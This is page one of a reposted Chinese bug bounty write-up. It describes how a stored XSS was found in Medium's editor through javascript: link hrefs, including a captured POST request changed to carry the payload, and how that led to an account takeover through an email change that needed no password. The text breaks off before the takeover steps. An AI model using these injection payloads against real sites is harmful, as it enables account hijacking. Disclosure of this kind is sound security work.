歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

Medium博客平臺從Stored XSS到賬號劫持

來源:本站整理 作者:佚名 時間:2019-09-01 TAG: 我要投稿


本文分享的是作者在博客平臺Medium上編寫文章時,偶然發現一個Stored XSS漏洞,在此基礎上深入分析又發現了Account Takeover賬號劫持漏洞,完美實現賞金從$100到$1000的提升。
偶然發現Stored XSS漏洞
幾個星期以前的某個晚上,我正在Medium上寫博客,內容無非就是 – 為什么公司企業應該大力接納漏洞眾測模式…云云,一番吐槽宣泄之后,腦子短路突然不知道該寫啥了。那就休息休息先干點別的吧,于是我就擺弄起Medium的博客編輯器來。
我不太記得當時我是怎么做的了,但是,我注意到可以從中添加類似于mailto:這樣的特殊鏈接,所以,我腦子馬上想起來,那既然能用mailto:樣式,那能不能用javascript:呢?因此,我就用jAvAsCrIpT:confirm()來試了試。不敢相信,竟然可以的!我把它嵌入我的博客文章中,打開文章后點擊對應鏈接,馬上就跳出一個確認對話框來:
也就是說,我在Medium平臺的關鍵位置發現了一個存儲型XSS!立馬上報之后我就睡覺去了。
不能就這樣算了
第二天早上醒來,我想,能用5分鐘發現一個存儲型XSS漏洞,真的就只能如此了嗎?接下來,在編寫博客時,我就用Unsplash圖片上傳方式進行測試,并對此過程進行抓包,該POST請求如下:
POST /p/8f2xxxxxxx/deltas?logLockId=970 HTTP/1.1
Host: medium.com
User-Agent: [Redacted]
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://medium.com/p/8f2xxxxxxx/edit
X-Obvious-CID: web
X-XSRF-Token: [Redacted]
X-Client-Date: [Redacted]
Content-Type: application/json
Content-Length: 536
Connection: close
Cookie: [Redacted]
{"id":"8f2xxxxxxx","deltas":[{"type":3,"index":1,"paragraph":{"name":"exxx","type":4,"text":"Photo by Some Author on Unsplash","markups":[{"type":3,"start":9,"end":17,"href":"https://medium.com/r/?url=https%3A%2F%2Funsplash.com%2F%40someauthor%3Futm_source%3Dmedium%26utm_medium%3Dreferral","title":"","rel":"photo-creator","anchorType":0},{"type":3,"start":21,"end":29,"href":"https://medium.com/r/?url=https%3A%2F%2Funsplash.com%2F%40someauthor%3Futm_source%3Dmedium%26utm_medium%3Dreferral","title":"","rel":"photo-source","anchorType":0}],"layout":1,"metadata":{"id":"0*xxxxxx","originalWidth":"\"alt='test'","originalHeight":5219,"alt":"","unsplashPhotoId":"xxxxx"}},"verifySameName":true}],"baseRev":28}
可以看到,其中存在X-XSRF-Token: [Redacted],以及超鏈接指定屬性href,那把href其值替換成jAvAsCrIpT:confirm()試試看,替換后的請求如下:
{"id":"8f2xxxxxxx","deltas":[{"type":3,"index":1,"paragraph":{"name":"exxx","type":4,"text":"Photo by Some Author on Unsplash","markups":[{"type":3,"start":9,"end":17,"href":"jAvAsCrIpT:confirm()","title":"","rel":"photo-creator","anchorType":0},{"type":3,"start":21,"end":29,"href":"jAvAsCrIpT:confirm()","title":"","rel":"photo-source","anchorType":0}],"layout":1,"metadata":{"id":"0*xxxxxx","originalWidth":"\"alt='test'","originalHeight":5219,"alt":"","unsplashPhotoId":"xxxxx"}},"verifySameName":true}],"baseRev":28}
哦靠,竟然又可以了!
現在這樣,根據Medium賞金政策,頂多也就是$100美金,但其中提到:信息泄露或安全認證繞過漏洞可以達到$1000美金。所以我還是想搞個大的。
賬戶劫持
基于以上發現的編輯器存儲型XSS,我想能不能測測賬號劫持呢?由于請求交互過程中的會話Cookie具備HTTPonly設置,所以客戶端腳本是不能正常讀取Cookie內容的,當然也就無法竊取Cookie了,這就需要其它方法了。我來到個人資料選項設置中,看看能否把其中的注冊郵箱地址更改替換成別人的郵箱,一試,竟然不需要密碼就能更改。這種情況下,為了測試起見,我手動更改了其中的注冊郵箱為我另一郵箱,然后往該郵箱發送了一條包含臨時登錄的URL鏈接,然后我在另一郵箱中打開該鏈接竟然能成功登錄。整個過程可以用以下兩步來實現:

[1] [2]  下一頁

【聲明】:黑吧安全網(http://www.fhetww.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        江西十一选五走势图爱彩乐